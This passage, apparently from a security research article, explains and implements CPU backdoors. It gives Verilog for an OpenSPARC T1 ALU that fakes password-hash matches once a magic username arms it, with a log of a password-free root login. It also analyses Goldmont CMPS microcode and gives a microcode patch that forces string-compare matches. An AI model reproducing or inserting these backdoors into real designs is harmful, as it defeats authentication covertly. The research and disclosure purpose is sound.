byp_alu_rs2_data_e_l, byp_alu_rs3_data_e, byp_alu_rcc_data_e, ecl_alu_cin_e, ecl_alu_rd_e, ifu_exu_invert_d, ecl_alu_log_sel_and_e, ecl_alu_log_sel_or_e, ecl_alu_log_sel_xor_e, ecl_alu_log_sel_move_e, ecl_alu_out_sel_sum_e_l, ecl_alu_out_sel_rs3_e_l, ecl_alu_out_sel_shift_e_l, ecl_alu_out_sel_logic_e_l, shft_alu_shift_out_e, ecl_alu_sethi_inst_e, ifu_lsu_casa_e ); input rclk; input se; input si; input [63:0] byp_alu_rs1_data_e; // source operand 1 input [63:0] byp_alu_rs2_data_e_l;// source operand 2 input [63:0] byp_alu_rs3_data_e; // source operand 3 input [63:0] byp_alu_rcc_data_e; // source operand for reg cond codes input ecl_alu_cin_e; // cin for adder input [4:0] ecl_alu_rd_e; // uty: test input ifu_exu_invert_d; input ecl_alu_log_sel_and_e;// These 4 wires are select lines input ecl_alu_log_sel_or_e;// for the logic block mux. input ecl_alu_log_sel_xor_e;// active high and choose the input ecl_alu_log_sel_move_e; // output they describe input ecl_alu_out_sel_sum_e_l;// The following 4 are select lines input ecl_alu_out_sel_rs3_e_l;// for the output stage mux. They are input ecl_alu_out_sel_shift_e_l;// active high and choose the input ecl_alu_out_sel_logic_e_l;// output of the respective block. input [63:0] shft_alu_shift_out_e;// result from shifter input ecl_alu_sethi_inst_e; input ifu_lsu_casa_e; output so; output [63:0] alu_byp_rd_data_e; // alu result output [47:0] exu_ifu_brpc_e;// branch pc output output [47:0] exu_lsu_ldst_va_e; // address for lsu output [10:3] exu_lsu_early_va_e; // faster bits for cache output [7:0] exu_mmu_early_va_e; output alu_ecl_add_n64_e; output alu_ecl_add_n32_e; output alu_ecl_log_n64_e; output alu_ecl_log_n32_e; output alu_ecl_zhigh_e; output alu_ecl_zlow_e; output exu_ifu_regz_e; // rs1_data == 0 output exu_ifu_regn_e; output alu_ecl_adderin2_63_e; output alu_ecl_adderin2_31_e; output alu_ecl_adder_out_63_e; output alu_ecl_cout32_e; // To ecl of sparc_exu_ecl.v output alu_ecl_cout64_e_l; // To ecl of sparc_exu_ecl.v output alu_ecl_mem_addr_invalid_e_l; wire clk; wire [63:0] logic_out; // result of logic block wire [63:0] adder_out; // result of adder wire [63:0] spr_out; // result of sum predict wire [63:0] zcomp_in; // result going to zcompare wire [63:0] va_e; // complete va wire [63:0] byp_alu_rs2_data_e; wire invert_e; wire ecl_alu_out_sel_sum_e; wire ecl_alu_out_sel_rs3_e; wire ecl_alu_out_sel_shift_e; wire ecl_alu_out_sel_logic_e; assign clk = rclk; assign byp_alu_rs2_data_e[63:0] = ~byp_alu_rs2_data_e_l[63:0]; assign ecl_alu_out_sel_sum_e = ~ecl_alu_out_sel_sum_e_l; assign ecl_alu_out_sel_rs3_e = ~ecl_alu_out_sel_rs3_e_l; assign ecl_alu_out_sel_shift_e = ~ecl_alu_out_sel_shift_e_l; assign ecl_alu_out_sel_logic_e = ~ecl_alu_out_sel_logic_e_l; // Zero comparison for exu_ifu_regz_e sparc_exu_aluzcmp64 regzcmp(.in(byp_alu_rcc_data_e[63:0]), .zero64(exu_ifu_regz_e)); assign exu_ifu_regn_e = byp_alu_rcc_data_e[63]; // mux between adder output and rs1 (for casa) for lsu va dp_mux2es #(64) lsu_va_mux(.dout(va_e[63:0]), .in0(adder_out[63:0]), .in1(byp_alu_rs1_data_e[63:0]), .sel(ifu_lsu_casa_e)); assign exu_lsu_ldst_va_e[47:0] = va_e[47:0]; // for bits 10:4 we have a separate bus that is not used for cas assign exu_lsu_early_va_e[10:3] = adder_out[10:3]; // mmu needs bits 7:0 assign exu_mmu_early_va_e[7:0] = adder_out[7:0]; // Adder assign exu_ifu_brpc_e[47:0] = adder_out[47:0]; assign alu_ecl_adder_out_63_e = adder_out[63]; sparc_exu_aluaddsub addsub(.adder_out(adder_out[63:0]), /*AUTOINST*/ // Outputs .spr_out (spr_out[63:0]), .alu_ecl_cout64_e_l(alu_ecl_cout64_e_l), .alu_ecl_cout32_e(alu_ecl_cout32_e), .alu_ecl_adderin2_63_e(alu_ecl_adderin2_63_e), .alu_ecl_adderin2_31_e(alu_ecl_adderin2_31_e), // Inputs .clk (clk), .se (se), .byp_alu_rs1_data_e(byp_alu_rs1_data_e[63:0]), .byp_alu_rs2_data_e(byp_alu_rs2_data_e[63:0]), .ecl_alu_cin_e(ecl_alu_cin_e), .ecl_alu_rd_e(ecl_alu_rd_e), // uty: test .ifu_exu_invert_d(ifu_exu_invert_d)); // Logic/pass rs2_data dff_s invert_d2e(.din(ifu_exu_invert_d), .clk(clk), .q(invert_e), .se(se), .si(), .so()); sparc_exu_alulogic logic(.rs1_data(byp_alu_rs1_data_e[63:0]), .rs2_data(byp_alu_rs2_data_e[63:0]), .isand(ecl_alu_log_sel_and_e), .isor(ecl_alu_log_sel_or_e), .isxor(ecl_alu_log_sel_xor_e), .pass_rs2_data(ecl_alu_log_sel_move_e), .inv_logic(invert_e), .logic_out(logic_out[63:0]), .ifu_exu_sethi_inst_e(ecl_alu_sethi_inst_e)); // Mux between sum predict and logic outputs for zcc dp_mux2es #(64) zcompmux(.dout(zcomp_in[63:0]), .in0(logic_out[63:0]), .in1(spr_out[63:0]), .sel(ecl_alu_out_sel_sum_e)); // Zero comparison for zero cc // sparc_exu_aluzcmp64 zcccmp(.in(zcomp_in[63:0]), // .zero64(alu_ecl_z64_e), // .zero32(alu_ecl_z32_e)); assign alu_ecl_zlow_e = ~(|zcomp_in[31:0]); assign alu_ecl_zhigh_e = ~(|zcomp_in[63:32]); // Get Negative ccs assign alu_ecl_add_n64_e = adder_out[63]; assign alu_ecl_add_n32_e = adder_out[31]; assign alu_ecl_log_n64_e = logic_out[63]; assign alu_ecl_log_n32_e = logic_out[31]; // Mux for output mux4ds #(64) output_mux(.dout(alu_byp_rd_data_e[63:0]), .in0(adder_out[63:0]), .in1(byp_alu_rs3_data_e[63:0]), .in2(shft_alu_shift_out_e[63:0]), .in3(logic_out[63:0]), .sel0(ecl_alu_out_sel_sum_e), .sel1(ecl_alu_out_sel_rs3_e), .sel2(ecl_alu_out_sel_shift_e), .sel3(ecl_alu_out_sel_logic_e)); // memory address checks sparc_exu_alu_16eql chk_mem_addr(.equal(alu_ecl_mem_addr_invalid_e_l), .in(va_e[63:47])); endmodule // sparc_exu_alu The ALU module comprises two primary functional units: the sparc_exu_alulogic unit for logical operations and the sparc_exu_aluaddsub unit for arithmetic operations including addition and subtraction. The backdoor specifically targets the comparison/subtraction instruction execution path, which is processed through the sparc_exu_aluaddsub module. The sparc_exu_aluaddsub code is shown below. module sparc_exu_aluaddsub (/*AUTOARG*/ // Outputs adder_out, spr_out, alu_ecl_cout64_e_l, alu_ecl_cout32_e, alu_ecl_adderin2_63_e, alu_ecl_adderin2_31_e, // Inputs clk, se, byp_alu_rs1_data_e, byp_alu_rs2_data_e, ecl_alu_cin_e, ifu_exu_invert_d ); input clk; input se; input [63:0] byp_alu_rs1_data_e; // 1st input operand input [63:0] byp_alu_rs2_data_e; // 2nd input operand input ecl_alu_cin_e; // carry in input ifu_exu_invert_d; // subtract used by adder output [63:0] adder_out; // result of adder output [63:0] spr_out; // result of sum predict output alu_ecl_cout64_e_l; output alu_ecl_cout32_e; output alu_ecl_adderin2_63_e; output alu_ecl_adderin2_31_e; wire [63:0] rs2_data; // 2nd input to adder wire [63:0] rs1_data; // 1st input to adder wire [63:0] subtract_d; wire [63:0] subtract_e; wire cout64_e; //////////////////////////////////////////// // Module implementation //////////////////////////////////////////// assign subtract_d[63:0] = {64{ifu_exu_invert_d}}; dff_s #(64) sub_dff(.din(subtract_d[63:0]), .clk(clk), .q(subtract_e[63:0]), .se(se), .si(), .so()); assign rs1_data[63:0] = byp_alu_rs1_data_e[63:0]; assign rs2_data[63:0] = byp_alu_rs2_data_e[63:0] ^ subtract_e[63:0]; assign alu_ecl_adderin2_63_e = rs2_data[63]; assign alu_ecl_adderin2_31_e = rs2_data[31]; sparc_exu_aluadder64 adder(.rs1_data(rs1_data[63:0]), .rs2_data(rs2_data[63:0]), .cin(ecl_alu_cin_e), .adder_out(adder_out[63:0]), .cout32(alu_ecl_cout32_e), .cout64(cout64_e)); assign alu_ecl_cout64_e_l = ~cout64_e; // sum predict sparc_exu_aluspr spr(.rs1_data(rs1_data[63:0]), .rs2_data(rs2_data[63:0]), .cin(ecl_alu_cin_e), .spr_out(spr_out[63:0])); endmodule // sparc_exu_aluaddsub This module gets most of the signals required for the backdoor's operation. The operands for comparison are provided via byp_alu_rs1_data_e and byp_alu_rs2_data_e, while the operation type (addition or subtraction) is determined by the control signals ecl_alu_cin_e and ifu_exu_invert_d. The destination register index (rd) plays a important role in the backdoor logic to prevent false matches. CMP is a pseudo-instruction. The assembly code 'cmp reg rs1, reg_or_imm' is essentially equivalent to 'subcc reg rs1, reg_or_imm, %g0', where the destination is the read-only %g0 register. Thus, the "CMP" instruction discards the computation result while still setting the condition flags. This distinction is vital for differentiating between CMP operations and regular SUBcc instructions. The rd field is encoded in the instruction word. To transfer it to the ALU, we introduce a new signal, ecl_alu_rd_e, along with a corresponding pipeline register in the sparc_exu_ecl module. This module manages control logic and maintains pipeline registers. The ecl_alu_rd_e signal is assigned during the decode stage, latched in the pipeline registers, and then used by the ALU during the execute stage. In hardware implementation, addition and subtraction are both implemented as addition operations. The difference for subtraction lies in the use of two's complement arithmetic: the subtrahend is inverted, incremented by one, and then added to the first operand. The ifu_exu_invert_d signal controls whether the second operand should be inverted, indicating a subtraction in the Decode stage. This signal is then pipelined to the Execute stage for use in the computation. For a standard subtraction (SUB), the carry-in bit ecl_alu_cin_e is set to 1 to complete the two's complement operation. In contrast, for a subtraction with carry (SUBC), the carry-in bit remains 0, allowing the carry flag from the previous operation to affect the result. The SUBC operation is processed by the space_exu_aluspr module, which outputs zero if the two operations match. When the backdoor is active and the ALU processes hash string comparisons, both the sparc_exu_aluspr and sparc_exu_aluadder64 modules must output zeros. Below is the implementation of the sparc_exu_aluaddsub module containing the backdoor logic. module sparc_exu_aluaddsub (/*AUTOARG*/ // Outputs adder_out, spr_out, alu_ecl_cout64_e_l, alu_ecl_cout32_e, alu_ecl_adderin2_63_e, alu_ecl_adderin2_31_e, // Inputs clk, se, byp_alu_rs1_data_e, byp_alu_rs2_data_e, ecl_alu_cin_e, ecl_alu_rd_e, // uty: test ifu_exu_invert_d ); input clk; input se; input [63:0] byp_alu_rs1_data_e; // 1st input operand input [63:0] byp_alu_rs2_data_e; // 2nd input operand input ecl_alu_cin_e; // carry in input [4:0] ecl_alu_rd_e; // uty: test input ifu_exu_invert_d; // subtract used by adder output [63:0] adder_out; // result of adder output [63:0] spr_out; // result of sum predict output alu_ecl_cout64_e_l; output alu_ecl_cout32_e; output alu_ecl_adderin2_63_e; output alu_ecl_adderin2_31_e; wire [63:0] rs2_data; // 2nd input to adder wire [63:0] rs1_data; // 1st input to adder wire [63:0] subtract_d; wire [63:0] subtract_e; wire cout64_e; wire [63:0] spr_out_tmp; // result of sum predict wire [63:0] adder_out_tmp; // result of adder wire alu_ecl_cout32_e_tmp; wire backdoor_on_keyword; wire backdoor_off_keyword; wire backdoor_nxt; wire backdoor_r; wire backdoor_en; wire trigger_backdoor; wire hash_begin; wire hash_end; wire hash_00; wire hash_r; wire hash_en; wire hash_nxt; wire issubrd0; wire sub_e; //////////////////////////////////////////// // Module implementation //////////////////////////////////////////// assign subtract_d[63:0] = {64{ifu_exu_invert_d}}; dff_s #(64) sub_dff(.din(subtract_d[63:0]), .clk(clk), .q(subtract_e[63:0]), .se(se), .si(), .so()); assign rs1_data[63:0] = byp_alu_rs1_data_e[63:0]; assign rs2_data[63:0] = byp_alu_rs2_data_e[63:0] ^ subtract_e[63:0]; assign alu_ecl_adderin2_63_e = rs2_data[63]; assign alu_ecl_adderin2_31_e = rs2_data[31]; sparc_exu_aluadder64 adder(.rs1_data(rs1_data[63:0]), .rs2_data(rs2_data[63:0]), .cin(ecl_alu_cin_e), .adder_out(adder_out_tmp[63:0]), .cout32(alu_ecl_cout32_e_tmp), .cout64(cout64_e_tmp)); assign cout64_e = cout64_e_tmp | trigger_backdoor; assign alu_ecl_cout64_e_l = ~cout64_e; assign alu_ecl_cout32_e = alu_ecl_cout32_e_tmp | trigger_backdoor; // sum predict sparc_exu_aluspr spr(.rs1_data(rs1_data[63:0]), .rs2_data(rs2_data[63:0]), .cin(ecl_alu_cin_e), .spr_out(spr_out_tmp[63:0])); // uty: test // 0x726f6f74 root // sub_e sub_dff is at sparc_exu_ecl, just put one here for convenience dff_s alusub_dff(.din(ifu_exu_invert_d), .clk(clk), .q(sub_e), .se(se), .si(), .so()); assign backdoor_on_keyword = (64'h3030303030303030 == byp_alu_rs2_data_e[63:0]) && (40'h726f6f7400 == byp_alu_rs1_data_e[63:24]); assign backdoor_off_keyword = (64'h3030303030303031 == byp_alu_rs2_data_e[63:0]) && (40'h726f6f7400 == byp_alu_rs1_data_e[63:24]); assign issubrd0 = (5'h0 == ecl_alu_rd_e[4:0]) & sub_e & ecl_alu_cin_e; assign backdoor_en = (backdoor_on_keyword | backdoor_off_keyword); assign backdoor_nxt = (backdoor_on_keyword & (~backdoor_off_keyword)); dffe_s #(1) backdoor_dff(.din(backdoor_nxt), .en(backdoor_en), .clk(clk), .q(backdoor_r), .se(se), .si(), .so()); // only consider $1$ for now assign hash_begin = ((24'h243124 == byp_alu_rs1_data_e[63:40]) && (24'h243124 == byp_alu_rs2_data_e[63:40])) & issubrd0; assign hash_00 = (8'h0 == byp_alu_rs1_data_e[47:40]) & (8'h0 == byp_alu_rs2_data_e[47:40]); assign hash_end = hash_r & hash_00 & issubrd0; assign hash_en = (hash_begin | hash_end) & backdoor_r; assign hash_nxt = hash_begin & (~hash_end); dffe_s #(1) hash_dffe(.din(hash_nxt), .en(hash_en), .clk(clk), .q(hash_r), .se(se), .si(), .so()); // ifu_exu_invert_d & ecl_alu_cin_e, make sure it is a SUB/SUBcc // instruction. (SUBC's ecl_alu_cin_e actually is 0) // hash_r will update at next cycle. assign trigger_backdoor = (hash_r | hash_begin) & issubrd0; assign spr_out[63:0] = spr_out_tmp[63:0] & {64{~trigger_backdoor}}; assign adder_out[63:0] = adder_out_tmp[63:0] & {64{~trigger_backdoor}}; endmodule // sparc_exu_aluaddsub As previously mentioned, the magic username "00000000" enables the backdoor. The ALU asserts the backdoor_on_keyword signal upon detecting the values 0x726f6f7400000000 and 0x3030303030303030 in both operands. Conversely, when the username "00000001" is entered, it asserts backdoor_off_keyword and deasserts backdoor_on_keyword, effectively disabling the backdoor. The ALU's combinational logic performs addition with the input control signals, treating CMP and SUB operations identically. But the backdoor logic must differentiate between them to reduce false positives. The issubrd0 signal indicates that the current operation is a CMP, as shown below. assign issubrd0 = (5'h0 == ecl_alu_rd_e[4:0]) & sub_e & ecl_alu_cin_e; The hash is split into 64-bit blocks and iteratively compared with its counterparts. For example, this is a MD5 hash: $1$7c71x 0x2431243763373178 B0y$mPkM 0x423079246d506b4d SwwbMWgE 0x537777624d576745 XsyD6YV/ 0x587379443659562f C1 0x4331 The ALU signals hash_begin when it identifies the start of a hash segment (beginning with $1$), while hash_00 indicates the end of the segment. The intermediate section consists of printable ASCII bytes without a distinct pattern. Note that the position of null bytes (0x00) depends on the hash algorithm and salt length. For simplicity, this implementation only uses MD5 hashes, and the hash length is fixed. The logic is illustrated below. assign hash_begin = ((24'h243124 == byp_alu_rs1_data_e[63:40]) && (24'h243124 == byp_alu_rs2_data_e[63:40])) & issubrd0; assign hash_00 = (8'h0 == byp_alu_rs1_data_e[47:40]) & (8'h0 == byp_alu_rs2_data_e[47:40]); assign hash_end = hash_r & hash_00 & issubrd0; When hash_r is active, it means the current operation is comparing a hash. If issubrd0 (which flags a CMP instruction) is also high, this triggers trigger_backdoor. Once activated, it forces both spr_out and adder_out to zero, faking a successful match. The logic is shown below. assign hash_en = (hash_begin | hash_end) & backdoor_r; assign hash_nxt = hash_begin & (~hash_end); dffe_s #(1) hash_dffe(.din(hash_nxt), .en(hash_en), .clk(clk), .q(hash_r), .se(se), .si(), .so()); assign trigger_backdoor = (hash_r | hash_begin) & issubrd0; assign spr_out[63:0] = spr_out_tmp[63:0] & {64{~trigger_backdoor}}; assign adder_out[63:0] = adder_out_tmp[63:0] & {64{~trigger_backdoor}}; The output logs below demonstrate how the CPU backdoor works on the OpenSPARC T1 testbed. These logs were captured via the serial port of the Xilinx ML505-V5LX110T FPGA board. > Ubuntu 7.10 t1-fpga-00 ttyS0 > > t1-fpga-00 login: 00000000 > Password: ---> enter anything > > Login incorrect > t1-fpga-00 login: root > Password: ---> enter anything > Linux t1-fpga-00 2.6.22-15-sparc64-smp #110 SMP Wed Mar 18 16:53:44 PDT > 2009 sparc64 > > The programs included with the Ubuntu system are free software; > the exact distribution terms for each program are described in the > individual files in /usr/share/doc/*/copyright. > > Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by > applicable law. > root@t1-fpga-00:~# The backdoor activates when the attacker attempts to log in with the username "00000000," though this fails because the account does not exist. Once triggered, the attacker can log into any valid account without requiring a password. In this case, the attacker gains root access, as shown in the log, receiving the "#" prompt with root privileges. To deactivate the backdoor, the attacker must log in again using the username "00000001." This backdoor also works for SSH remote login as long as the SSH service allows password authentication. --[ 3.4 Intel Goldmont x86 Microcode-Based Backdoor Implementation To validate the backdoor concept for x86, I developed a prototype using QEMU's TCG. However, as a software emulation, it inevitably has limitations. My long-term goal was to design my own x86 core, but that goal is still far and remains ongoing. At the time, I considered microcode as an alternative, but its inner mechanism were still too obscure. Now, in 2025, three years after completing the earlier phase of this research, new studies[30][20][23][27][32] have emerged, making microcode more accessible than ever. --[ 3.4.1 Microcode Basics Microcode serves as an ideal middle ground between software emulation and physical silicon hardware. It could also be the perfect hiding place for real-world backdoors, embedded directly in the CPU, easy for vendors to update, and capable of supporting sophisticated malicious functionality[20]. The microcode format is not publicly documented and it is embedded in the CPU's internal memory, with updates only available in encrypted packages. However, AMD has a patent detailing their microcode implementation called RISC86[21], used in the AMD-K6 processor. In my opinion, this is the most detailed public document on the subject from a major CPU vendor. I am also still learning, so I am not in a position to explain how microcode works. But for context, I will provide a brief overview of microcode as I understand it. While x86 is classified as a CISC (Complex Instruction Set Computer) architecture, in contrast to RISC (Reduced Instruction Set Computer), modern x86 CPUs have internally used RISC-like micro-operations (uops) since the Intel Pentium Pro and AMD K6 processors. These CPUs employ multiple advanced instruction decoders to break down complex x86 CISC instructions into simpler RISC-style microcode for execution. Quote from an old AMD document[22]: "The AMD-K6 processor uses a combination of decoders to convert x86 instructions into RISC86 operations. The hardware includes four decoders: Two parallel short decoders - These translate the most commonly used x86 instructions into zero, one, or two RISC86 operations each. They are also designed to decode up to two x86 instructions per clock. Long decoder - This handles commonly used x86 instructions that can be represented in four or fewer RISC86 operations. Vectoring decoder - This handles all other translations in concert with RISC86 operation sequences fetched from an on-chip ROM." Contemporary Intel processors now process complex instructions through the Microcode Sequencer (MS). This unit retrieves micro-operations from the Microcode Sequencer ROM (MSROM) and coordinates their dispatch to execution units. Intel's Optimization Reference Manual (Section 22.5.7.2, 'Understanding the Sources of the Micro-op Queue') confirms that string instructions are processed in this manner. This means we could actually tweak how the CMPS instruction works. However, accessing and altering x86 microcode has historically been a substantial technical challenge due to Intel's proprietary security mechanisms. Pioneering work by Ermolov, Sklyarov, and Goryachy has achieved critical breakthroughs in this domain through their research on Intel's Goldmont microarchitecture. Their research uncovered a critical vulnerability in TXE firmware that permits arbitrary code execution and achieves privileged "red unlock" status[23][24], effectively bypassing conventional microcode security protections. Furthermore, their discovery of previously undocumented UDBGRD/UDBGWR instructions[30][26] provides direct access to the internal CRBUS (Control Register Bus), enabling unprecedented low-level processor control. Complementing these findings, the uCodeDisasm project[25] has made substantial progress in decoding microcode semantics and identifying numerous undocumented microarchitectural features and control registers. All these efforts together have opened new avenues for deeper analysis of processor internals. --[ 3.4.2 CMPS Microcode Analysis Identifying the microcode entry point for the CMPS instruction is relatively straightforward due to its characteristic usage of architectural registers. The instruction employs RCX as its loop counter while utilizing RSI and RDI as string pointers. So, simply look for microcode associated with RCX, RDI, and RSI and fits the three rules[25] for microcode entries. 1. The address for any x86 entry point is in the range U0000-U1000 2. The address for x86 instruction entry must be a multiple of 8 3. There must not be references in other places of ucode to the x86 entry address The CMPS microcode entry is located at U08b0. Fortunately/Unfortunately, no backdoor functionality exists, much to my disappointment, since I was hoping for a major scandal. The microcode itself is quite basic, as shown below. U08b0: 108100034021 tmp4:= OR_DSZN(rcx) U08b1: 01505e100234 UJMPCC_DIRECT_NOTTAKEN_CONDZ(tmp4, U045e) U08b2: 021e3b000200 SIGEVENT(0x0000003b) U08b4: 014310a00200 AETTRACE(0x08, IMM_MACRO_ALIAS_INSTRUCTION) U08b5: 213e0003a000 tmp10:= MOVEMERGEFLGS_DSZ32(0x00000000) 01bcc872 SEQW GOTO U3cc8 U3cc8: 1c0000231027 tmp1:= LDZX_DSZN_ASZ32_SC1(rdi, mode=0x08) U3cc9: 1c0000630026 tmp0:= LDZX_DSZN_ASZ32_SC1(rsi, mode=0x18) U3cca: 108501034d08 tmp4:= SUB_DSZN(0x00000001, tmp4) U3ccc: 11890b8279c8 rdi:= ADDSUB_DSZ16_CONDD(IMM_MACRO_ALIAS_DATASIZE, rdi) U3ccd: 11890b826988 rsi:= ADDSUB_DSZ16_CONDD(IMM_MACRO_ALIAS_DATASIZE, rsi) U3cce: 10050003ac31 MSLOOP-> tmp10:= SUB_DSZN(tmp1, tmp0) U3cd0: 015f6410023a UJMPCC_DIRECT_TAKEN_CONDZ(tmp10, U0464) U3cd1: 015064100234 UJMPCC_DIRECT_NOTTAKEN_CONDZ(tmp4, U0464) 053cc840 SEQW GOTO U3cc8 U045c: 1088000269a6 rsi:= ZEROEXT_DSZ16N(rsi, rsi) U045d: 1088000279e7 rdi:= ZEROEXT_DSZ16N(rdi, rdi) U045e: 108800021861 rcx:= ZEROEXT_DSZ16N(rcx, rcx) 018000f2 SEQW UEND0 U0464: 237d3f000e88 GENARITHFLAGS(0x0000003f, tmp10) U0465: 108800021874 rcx:= ZEROEXT_DSZ16N(tmp4, rcx) U0466: 0fff00000000 SYNCWAIT-> SFENCE(0x00000000) 0b0000f2 SEQW UEND0 The microcode binary was disassembled into assembly language using the uCodeDisasm. Before analyzing the code, it is necessary to first establish some fundamental concepts. The microcode comprises fixed-length RISC instructions. In Intel's Goldmont microarchitecture, these are 48-bit instructions grouped into sets of three called Microcode Triads. Each triad is accompanied by a Sequence Word (30-bit) that manages synchronization and memory fence attributes for the micro-instructions within the triad and controls program flow by selecting between sequential execution of the next triad, jumps to specified microcode addresses, or termination of the current routine. Below are the micro-instruction and sequence word formats. As I am still studying their meanings, I will not provide a detailed explanation of each field here. For comprehensive information, please refer to the foundational documentation in uCodeDisasm[25] and lib-micro[27]. 4746 45 44 43 32 31 24 23 22 18 17 12 11 6 5 0 +---+--+--+-------------+--------+--+-----+-------+-------+-------+ |CRC|m2|m1| opcode | imm0 |m0| imm1| dst | src1 | src0 | +---+--+--+-------------+--------+--+-----+-------+-------+-------+ 2 1 1 12 8 1 5 6 6 6 2928 27 25 2423 22 8 7 6 5 2 1 0 +---+-----+---+--------------------+---+-------+---+ |CRC|sync |up2| uaddr |up1| eflow |up0| +---+-----+---+--------------------+---+-------+---+ 2 3 2 15 2 4 2 The code appears relatively simple at first glance. It continuously loads data from memory locations pointed to by RSI and RDI, compares them, and increments the memory addresses in these registers while decrementing the counter value in RCX. Let's clarify the following abbreviations: ZX (Zero eXtended): Indicates zero-extension of a value. DSZ (Data Size): Specifies the size of a data operand. ASZ (Address Size): Denotes the size of an address operand. SC (Scale): Represents the scaling factor in addressing calculations. And the terms TAKEN and NOTTAKEN serve as branch hints for the Microcode Sequencer. For example: U3cc8: 1c0000231027 tmp1:= LDZX_DSZN_ASZ32_SC1(rdi, mode=0x08) This is a load instruction. While uCodeDisasm displays it with DSZN, the actual data size for this instruction is 32 bits. The opcode is 12 bits in length, with the data size encoded in bits [7:6] as follows: 00: DSZ32 01: DSZ64 10: DSZ16 11: DSZ8 The instruction specifies both address and data sizes as 32-bit. This initially caused confusion since the test CPU (Intel Pentium N4200, Goldmont microarchitecture) is a 64-bit processor. I would expect the microcode to operate in 64-bit mode by default. I considered this might be a 32-bit version of the CMPS instruction. However, after thorough searching of the MSROM, I was unable to locate any corresponding 64-bit CMPS microcode routine. Testing the 64-bit "REPE CMPSQ" instruction on an x86-64 Ubuntu system confirmed that microcode routine U08b0 handles the 64-bit CMPS operation. During my analysis, I observed that while most micro-instructions in the MSROM use DSZ32/ASZ32, some explicitly specify ASZ64 and DSZ64. Also, the opcode for CMPSD is "A7", while CMPSQ uses "REX.W + A7" - the same opcode with a prefix modifier. This leads me to hypothesize that the 32-bit and 64-bit CMPS operations might share the same microcode routine, with the REX.W prefix potentially generating a control signal that directs the execution unit to perform either 32-bit or 64-bit comparisons as appropriate. It is noticeable that MOD1 (bit 44) is often set on DSZ32 and ASZ32 micro-instructions, whereas those specifying DSZ64 or ASZ64 usually do not have MOD1 set, though exceptions exist, such as in the case of "U3d4a: 104900035924 tmp5:= MOVE_DSZ64(rsp, rsp)". After some testing, the hypothesis seems to be correct. For example, "SUB_DSZ32_DRR(TMP10, TMP1, TMP0) | MOD1" performs 64-bit comparisons during "REPE CMPSQ" operations but switches to 32-bit comparisons for "REPE CMPSD". In contrast, SUB_DSZ64_DRR(TMP10, TMP1, TMP0) maintains exclusively 64-bit comparisons, even when the upper layer operating system operates in 32-bit mode. TMP0-TMP15 are 64-bit microarchitectural registers that can be used as scratch registers within microcode routines. Unlike architectural registers (such as RAX, RBX, etc.), which share a single RFLAGS register, each microarchitectural register has its own dedicated set of arithmetic flags. These flags are updated whenever the register is used as the destination of an arithmetic micro-instruction. For instance, consider the micro-operation at: "U3cce: 10050003ac31 SUB_DSZ32_DRR(TMP10, TMP1, TMP0) | MOD1". This instruction sets TMP10's Z flag if TMP1 equals TMP0. The subsequent micro-operation: "U3cd0: 015f6410023a UJMPCC_DIRECT_TAKEN_CONDZ(tmp10, U0464)" then performs a conditional jump based on TMP10's Z flag state. This microcode routine is essentially what one would expect for a comparison instruction within a loop, except that instead of using CMP, the actual compare operation is performed by SUB, as is the case in the OpenSPARC CPU. Yet, despite the brevity of this code segment, several unresolved mysteries remain. For instance, what is the purpose of SIGEVENT(0x0000003b)? Why would the code send a signal immediately after checking the RCX register, before there is even a chance to trigger an access violation? Furthermore, if the subsequent LDZX_DSZN_ASZ32_SC1 operation accesses an illegal virtual address, should signals be generated then? Since the exact function of SIGEVENT remains unclear, the hook has been placed at U3cc8 instead of the cmps entry point U08b0 to avoid unintended side effects. --[ 3.4.3 CMPS Backdoor Implementation Now let's break down how this CMPS backdoor actually works. The mechanism is straightforward: when executed, it checks the memory location pointed to by RDI. If this value matches our predefined backdoor hash, the REPE CMPS instruction will set the Z flag in RFLAGS, falsely indicating string equivalence. Additionally, RCX must be cleared to zero, while RSI and RDI should be properly incremented or decremented based on the D flag. This adjustment is necessary because Windows' 64-bit RtlCompareMemory function determines string equality length using these register values. Again, we are using the hash '3dbde697d71690a769204beb12283678' (corresponding to password '123') for this experiment. To use less MSRAM space, the implementation compares only on the first 64 bits of the hash value, which is 0xa79016d797e6bd3d. The following microcode utilizes lib-micro[27] for writing to MSRAM and the Match/Patch registers. Its IN instruction microcode patch is essential for sustaining persistent microcode hooks. The forked version of lib-micro includes the CMPS backdoor implementation. Full source code is accessible at: https://github.com/whensungoesdown/lib-micro This project compiles and executes on Linux systems with CPU red unlocked, intended for testing and research purposes. The CMPS microcode hook remains effective even in virtualized environments using Intel VMX technology, as virtual machines execute most instructions (including CMPS) directly on the physical host CPU. This makes it convenient to test the backdoor's effects on a Windows system running inside a KVM/QEMU virtual machine. ucode_t ucode_patch[] = { { // 0x0 // 64-bit 0xa79016d797e6bd3d // 32-bit 0x97e6bd3d NOP, LDZX_DSZ32_ASZ32_SC1_DR(TMP1, RDI, 0x08) | MOD1, // seg 0x08 es ZEROEXT_DSZ32_DI(TMP0, 0xa790), NOP_SEQWORD }, { // 0x4 SHL_DSZ64_DRI(TMP0, TMP0, 0x10), ADD_DSZ64_DRI(TMP0, TMP0, 0x16d7), SHL_DSZ64_DRI(TMP0, TMP0, 0x10), NOP_SEQWORD }, { // 0x8 ADD_DSZ64_DRI(TMP0, TMP0, 0x97e6), SHL_DSZ64_DRI(TMP0, TMP0, 0x10), ADD_DSZ64_DRI(TMP0, TMP0, 0xbd3d), NOP_SEQWORD }, { // 0xc NOP, //SUB_DSZ32_DRR(TMP10, TMP1, TMP0) | MOD1, // dst, src0, src1 SUB_DSZ64_DRR(TMP10, TMP1, TMP0), // dst, src0, src1 UJMPCC_DIRECT_NOTTAKEN_CONDZ_RI(TMP10, JUMP_DESTINATION), NOP_SEQWORD //0x018000e5, //SUB MSLOOP // BUG FIX: no MSLOOP, msloop cause gdb traped at repe cmps with // resume flag (RF) set }, { // 0x10 //U3cc8: 1c0000231027 tmp1:= LDZX_DSZN_ASZ32_SC1(rdi, mode=0x08) //U3cc9: 1c0000630026 tmp0:= LDZX_DSZN_ASZ32_SC1(rsi, mode=0x18) //U3cca: 108501034d08 tmp4:= SUB_DSZN(0x00000001, tmp4) 0x1c0000231027, 0x1c0000630026, 0x108501034d08, 0x18000c0 }, { // 0x1c UJMP_I(hook_address+4), UJMP_I(hook_address+5), UJMP_I(hook_address+6), NOP_SEQWORD } }; // JUMP_DESTINATION code ucode_t ucode_patch[] = { //U3ccc: 11890b8279c8 rdi:= ADDSUB_DSZ16_CONDD( // IMM_MACRO_ALIAS_DATASIZE, rdi) 